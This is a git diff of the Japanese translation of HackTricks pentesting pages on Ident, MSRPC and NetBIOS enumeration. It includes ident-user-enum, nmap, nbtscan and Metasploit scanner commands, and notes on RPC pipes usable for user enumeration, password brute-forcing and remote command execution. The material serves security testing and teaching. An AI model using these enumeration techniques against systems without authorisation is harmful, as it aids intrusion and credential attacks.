diff --git a/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md b/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md index eaa8e1724..ecf25cd19 100644 --- a/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md +++ b/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md @@ -1,36 +1,16 @@ -```markdown
-htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまでAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 -* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を含む[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 -* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする** +* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
-# WebView プロトコルハンドラー - - - - - -
- -htARTE (HackTricks AWS Red Team Expert) を使ってゼロからヒーローまでAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert) - -HackTricksをサポートする他の方法: - -* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 -* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を含む[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 -* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。 - -
-``` +# WebView Protocol Handlers diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index fac6f27aa..659572dc5 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -1,42 +1,46 @@ -# 113 - ペントテスト Ident +# 113 - Pentesting Ident
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +HackTricks をサポートする他の方法: + +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で **フォロー**する。 +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに提出する。
-
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## 基本情報 -特定の[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続のユーザーを識別するのに役立つ[インターネット](https://en.wikipedia.org/wiki/Internet) [プロトコル](https://en.wikipedia.org/wiki/Protocol\_\(computing\))です。 +**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。**ネットワーク管理**および**セキュリティ**を支援するために設計されたもので、特定のTCP接続のユーザーに関する情報をリクエストするために、サーバーがポート113でクライアントにクエリを許可することによって動作します。 -**デフォルトポート:** 113 +しかし、現代のプライバシー上の懸念や誤用の可能性により、権限のない者にユーザー情報を誤って明らかにする可能性があるため、その使用は減少しています。これらのリスクを緩和するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されています。 + +**デフォルトポート:** 113 ``` PORT STATE SERVICE 113/tcp open ident ``` ## **列挙** -### **手動 - ユーザーの取得/サービスの識別** +### **手動 - ユーザーを取得/サービスを特定する** -マシンがidentサービスとsamba(445)を実行しており、ポート43218を使用してsambaに接続している場合、次のコマンドを使用してsambaサービスを実行しているユーザーを取得できます: +マシンがidentおよびsamba(445)を実行しており、ポート43218を使用してsambaに接続している場合、次のコマンドを使用してsambaサービスを実行しているユーザーを取得できます: ![](<../.gitbook/assets/image (15) (1) (1).png>) -サービスに接続する際にEnterキーを押すだけで、次のような結果が表示されます: +サービスに接続するときに単にEnterキーを押すと、次のようになります: ![](<../.gitbook/assets/image (16) (1) (1).png>) @@ -46,7 +50,7 @@ PORT STATE SERVICE ### Nmap -デフォルトでは(-sC)、nmapは実行中のすべてのポートのすべてのユーザーを識別します: +デフォルトでは(`-sC`)、nmapは実行中のすべてのポートのすべてのユーザーを特定します。 ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) @@ -63,7 +67,7 @@ PORT STATE SERVICE VERSION ``` ### Ident-user-enum -Ident-user-enumは、ターゲットシステムの各TCPポートでリッスンしているプロセスの所有者を特定するために、identサービス(113/TCP)にクエリを送信するためのシンプルなPERLスクリプトです。収集されたユーザ名のリストは、他のネットワークサービスへのパスワード推測攻撃に使用することができます。`apt install ident-user-enum`を使用してインストールすることができます。 +[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum)は、ターゲットシステムの各TCPポートでリッスンしているプロセスの所有者を特定するためにidentサービス(113/TCP)にクエリを送信するためのシンプルなPERLスクリプトです。収集されたユーザ名のリストは、他のネットワークサービスへのパスワード推測攻撃に使用できます。`apt install ident-user-enum`を使用してインストールできます。 ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -81,10 +85,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) identd.conf -
+
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ -今すぐアクセスを取得: +今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -98,7 +102,7 @@ Entry_1: Name: Notes Description: Notes for Ident Note: | -Is an Internet protocol that helps identify the user of a particular TCP connection. +The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. https://book.hacktricks.xyz/pentesting/113-pentesting-ident @@ -109,12 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ -* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
diff --git a/network-services-pentesting/135-pentesting-msrpc.md b/network-services-pentesting/135-pentesting-msrpc.md index 5ac4907dd..febb42bf5 100644 --- a/network-services-pentesting/135-pentesting-msrpc.md +++ b/network-services-pentesting/135-pentesting-msrpc.md @@ -1,4 +1,4 @@ -# 135, 593 - MSRPCのペンテスト +# 135, 593 - MSRPCのペンテスティング
@@ -9,23 +9,23 @@ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。 -* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
-[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! +経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! **ハッキングの洞察**\ -ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加する -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう +**リアルタイムのハックニュース**\ +リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく -**最新のアナウンス**\ -最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう +**最新の発表**\ +最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手する **[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! @@ -45,7 +45,7 @@ RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139 ## **公開されたRPCサービスの特定** -RPCロケーターサービスと個々のエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開が特定できます。rpcdumpなどのツールを使用すると、**IFID**値によって示される一意のRPCサービスを特定し、サービスの詳細と通信バインディングを明らかにすることができます。 +RPCロケーターサービスと個々のエンドポイントをクエリすることで、TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開を特定できます。rpcdumpなどのツールを使用すると、**IFID**値によって示される一意のRPCサービスを特定し、サービスの詳細と通信バインディングを明らかにすることができます。 ``` D:\rpctools> rpcdump [-p port] **IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 @@ -53,7 +53,7 @@ Annotation: Messenger Service UUID: 00000000-0000-0000-0000-000000000000 Binding: ncadg_ip_udp:[1028] ``` -RPCロケーターサービスへのアクセスは、特定のプロトコルを介して有効になっています: ポート135を介してアクセスするためのncacn_ip_tcpおよびncadg_ip_udp、SMB接続のためのncacn_np、WebベースのRPC通信のためのncacn_httpです。次のコマンドは、Metasploitモジュールを使用してMSRPCサービスを監査および操作する方法を示しています。主にポート135に焦点を当てています: +RPCロケーターサービスへのアクセスは、特定のプロトコルを介して有効になっています: ポート135を介してアクセスするためのncacn_ip_tcpおよびncadg_ip_udp、SMB接続のためのncacn_np、WebベースのRPC通信のためのncacn_http。次のコマンドは、Metasploitモジュールを使用してMSRPCサービスを監査および操作する例ですが、主にポート135に焦点を当てています: ```bash use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/hidden @@ -61,51 +61,51 @@ use auxiliary/scanner/dcerpc/management use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor rpcdump.py -p 135 ``` -すべてのオプションは、`tcp_dcerpc_auditor` を除いて、ポート135上のMSRPCをターゲットにするために特別に設計されています。 +すべてのオプションは、`tcp_dcerpc_auditor`を除いて、ポート135上のMSRPCをターゲットにするために特別に設計されています。 #### 注目すべきRPCインターフェース -**IFID**: 12345778-1234-abcd-ef00-0123456789ab -**Named Pipe**: \pipe\lsarpc -**Description**: ユーザーを列挙するために使用されるLSAインターフェース。 +* **IFID**: 12345778-1234-abcd-ef00-0123456789ab +* **Named Pipe**: `\pipe\lsarpc` +* **Description**: ユーザーを列挙するために使用されるLSAインターフェース。 -**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5 -**Named Pipe**: \pipe\lsarpc -**Description**: ドメインと信頼関係を列挙するために使用されるLSAディレクトリサービス(DS)インターフェース。 +* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5 +* **Named Pipe**: `\pipe\lsarpc` +* **Description**: ドメインと信頼関係を列挙するために使用されるLSAディレクトリサービス(DS)インターフェース。 -**IFID**: 12345778-1234-abcd-ef00-0123456789ac -**Named Pipe**: \pipe\samr -**Description**: アカウントロックアウトポリシーに関係なく、パブリックSAMデータベース要素(例:ユーザー名)にアクセスし、ユーザーパスワードを総当たり攻撃するために使用されるLSA SAMRインターフェース。 +* **IFID**: 12345778-1234-abcd-ef00-0123456789ac +* **Named Pipe**: `\pipe\samr` +* **Description**: アカウントロックアウトポリシーに関係なく、パブリックSAMデータベース要素(例:ユーザー名)にアクセスし、ユーザーパスワードを総当たり攻撃するために使用されるLSA SAMRインターフェース。 -**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b -**Named Pipe**: \pipe\atsvc -**Description**: コマンドをリモートで実行するために使用されるタスクスケジューラ。 +* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b +* **Named Pipe**: `\pipe\atsvc` +* **Description**: コマンドをリモートで実行するために使用されるタスクスケジューラ。 -**IFID**: 338cd001-2244-31f1-aaaa-900038001003 -**Named Pipe**: \pipe\winreg -**Description**: システムレジストリにアクセスして変更するために使用されるリモートレジストリサービス。 +* **IFID**: 338cd001-2244-31f1-aaaa-900038001003 +* **Named Pipe**: `\pipe\winreg` +* **Description**: システムレジストリにアクセスして変更するために使用されるリモートレジストリサービス。 -**IFID**: 367abb81-9844-35f1-ad32-98f038001003 -**Named Pipe**: \pipe\svcctl -**Description**: サービスコントロールマネージャーおよびサーバーサービスで、サービスのリモート起動と停止、およびコマンドの実行に使用されます。 +* **IFID**: 367abb81-9844-35f1-ad32-98f038001003 +* **Named Pipe**: `\pipe\svcctl` +* **Description**: サービスコントロールマネージャーおよびサーバーサービスをリモートで開始および停止し、コマンドを実行するために使用される。 -**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188 -**Named Pipe**: \pipe\srvsvc -**Description**: サービスコントロールマネージャーおよびサーバーサービスで、サービスのリモート起動と停止、およびコマンドの実行に使用されます。 +* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188 +* **Named Pipe**: `\pipe\srvsvc` +* **Description**: サービスコントロールマネージャーおよびサーバーサービスをリモートで開始および停止し、コマンドを実行するために使用される。 -**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 -**Named Pipe**: \pipe\epmapper -**Description**: DCOMインターフェースで、WMを介した情報収集と総当たりパスワード攻撃に使用されます。 +* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 +* **Named Pipe**: `\pipe\epmapper` +* **Description**: DCOMインターフェースで、WMを介してパスワードを総当たり攻撃し、情報収集に使用される。 ### IPアドレスの特定 -[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver) を使用すると、_**IOXIDResolver**_ インターフェース内の _**ServerAlive2**_ メソッドを悪用することが可能です。 +[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)を使用すると、_**ServerAlive2**_メソッドを悪用して、_**IOXIDResolver**_インターフェース内から**IPv6**アドレス情報を取得できます。 -このメソッドは、HTBボックス _APT_ から **IPv6** アドレスのインターフェース情報を取得するために使用されています。詳細は[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)の0xdf APT解説を参照してください。また、[Impacket](https://github.com/SecureAuthCorp/impacket/) の rpcmap.py を使用した代替方法も含まれています。 +このメソッドは、HTBボックス_APT_から**IPv6**アドレス情報を取得するために使用されています。0xdf APTの解説は[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。また、_stringbinding_を使用した[Impacket](https://github.com/SecureAuthCorp/impacket/)のrpcmap.pyを使用した代替方法も含まれています。 ## ポート593 -[https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools) の **rpcdump.exe** がこのポートとやり取りできます。 +**rpctools**からの**rpcdump.exe**は、このポートとやり取りできます。 #​# 参考文献 * [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) @@ -114,7 +114,7 @@ rpcdump.py -p 135
-[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! +[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう @@ -125,4 +125,4 @@ rpcdump.py -p 135 **最新の発表**\ 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう -**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!** +**[**Discord**](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう! diff --git a/network-services-pentesting/137-138-139-pentesting-netbios.md b/network-services-pentesting/137-138-139-pentesting-netbios.md index d004f7f91..151b2b4c7 100644 --- a/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -1,33 +1,37 @@ -# 137,138,139 - ペントエスティング NetBios +# 137,138,139 - ペンテスティング NetBios
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +HackTricks をサポートする他の方法: + +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
-## NetBios名前サービス +## NetBios 名前サービス -* 名前登録と解決のための名前サービス(ポート:137/udpおよび137/tcp)。 -* 接続なし通信のためのデータグラム配布サービス(ポート:138/udp)。 -* 接続指向通信のためのセッションサービス(ポート:139/tcp)。 +**NetBIOS 名前サービス** は、**名前登録と解決**、**データグラム配布**、**セッションサービス** など、さまざまなサービスに関与し、各サービスに特定のポートを利用します。 + +[ウィキペディアより](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): + +* 名前登録と解決のための名前サービス(ポート: 137/udp および 137/tcp)。 +* 接続レス通信のためのデータグラム配布サービス(ポート: 138/udp)。 +* 接続指向通信のためのセッションサービス(ポート: 139/tcp)。 ### 名前サービス -すべてのマシンはNetBiosネットワーク内で名前を持つべきです。名前を要求するには、マシンはブロードキャストで「名前クエリ」パケットを送信し、誰かがその名前を既に使用していると応答した場合、マシンはその名前を使用できます。名前サービスサーバーがある場合、コンピュータは名前を使用したい名前が誰かに使用されているかどうかを名前サービスサーバーに問い合わせることができます。 - -名前のIPアドレスを発見するには、PCは「名前クエリ」パケットを送信し、誰かが応答するのを待つ必要があります。名前サービスサーバーがある場合、PCはその名前のIPを問い合わせることができます。 +NetBIOS ネットワークに参加するデバイスは、一意の名前を持つ必要があります。これは、"名前クエリ" パケットが送信される **ブロードキャストプロセス** によって達成されます。異議がない場合、名前は利用可能と見なされます。また、名前の利用可能性を確認したり、名前をIPアドレスに解決するために **名前サービスサーバー** に直接問い合わせることもできます。`nmblookup`、`nbtscan`、`nmap` などのツールを使用して、NetBIOS サービスを列挙し、サーバー名とMACアドレスを特定します。 ```bash PORT STATE SERVICE VERSION 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) ``` -NetBIOSサービスの列挙では、サーバーが使用している名前とサーバーのMACアドレスを取得することができます。 +NetBIOSサービスを列挙すると、サーバーが使用している名前とサーバーのMACアドレスを取得できます。 ```bash nmblookup -A nbtscan /30 @@ -35,27 +39,23 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` ### データグラム配信サービス -NetBIOSデータグラムはUDPを介して送信されます。データグラムは、「Direct Unique」または「Direct Group」パケットとして送信されます。これは特定のNetBIOS名に送信される場合です。また、「Broadcast」パケットとして送信されます。これはネットワーク上のすべてのNetBIOS名に送信される場合です。 +NetBIOSデータグラムは、UDPを介した接続レス通信を可能にし、直接メッセージングやネットワーク内のすべての名前へのブロードキャストをサポートします。このサービスは**138/udp**ポートを使用します。 ```bash PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm ``` ### セッションサービス -セッションモードでは、2つのコンピュータが「会話」のために接続を確立し、より大きなメッセージを処理し、エラーの検出と回復を提供します。 +接続指向のやり取りにおいて、**セッションサービス**は、**TCP**接続を介してポート**139/tcp**を通じて2つのデバイス間の会話を可能にします。セッションは「セッションリクエスト」パケットで始まり、応答に基づいて確立されます。このサービスは大きなメッセージ、エラー検出、回復をサポートし、TCPがフロー制御とパケットの再送信を処理します。 -セッションはパケットの交換によって確立されます。セッションを確立するコンピュータは、セッションを確立するためのポート139への[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続を試みます。接続が確立されると、セッションを確立するアプリケーションのNetBIOS名とセッションを確立するためのNetBIOS名を含む「セッションリクエスト」パケットを接続経由で送信します。セッションを確立するコンピュータは、セッションを確立できることを示す「ポジティブセッションレスポンス」またはその名前に対してセッションを確立するためのリソースが利用できないことを示す「ネガティブセッションレスポンス」のいずれかの応答を受け取ります。 +セッション内でのデータ転送には**セッションメッセージパケット**が使用され、セッションはTCP接続を閉じることで終了します。 -データは確立されたセッションによってセッションメッセージパケットを介して送信されます。 - -TCPは、すべてのセッションサービスパケットのフロー制御と再送信、およびパケットが転送されるデータストリームをIPデータグラムに分割してリンク層パケットに収まるように処理します。 - -セッションはTCP接続を閉じることで終了します。 +これらのサービスは**NetBIOS**の機能に不可欠であり、ネットワーク全体で効率的な通信とリソース共有を可能にします。TCPおよびIPプロトコルに関する詳細情報については、それぞれの[TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol)および[IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol)ページを参照してください。 ```bash PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` -**次のページを読んで、このサービスの列挙方法を学びましょう:** +**次のページを読んで、このサービスの列挙方法を学びます:** {% content-ref url="137-138-139-pentesting-netbios.md" %} [137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md) @@ -75,7 +75,7 @@ Name service for name registration and resolution 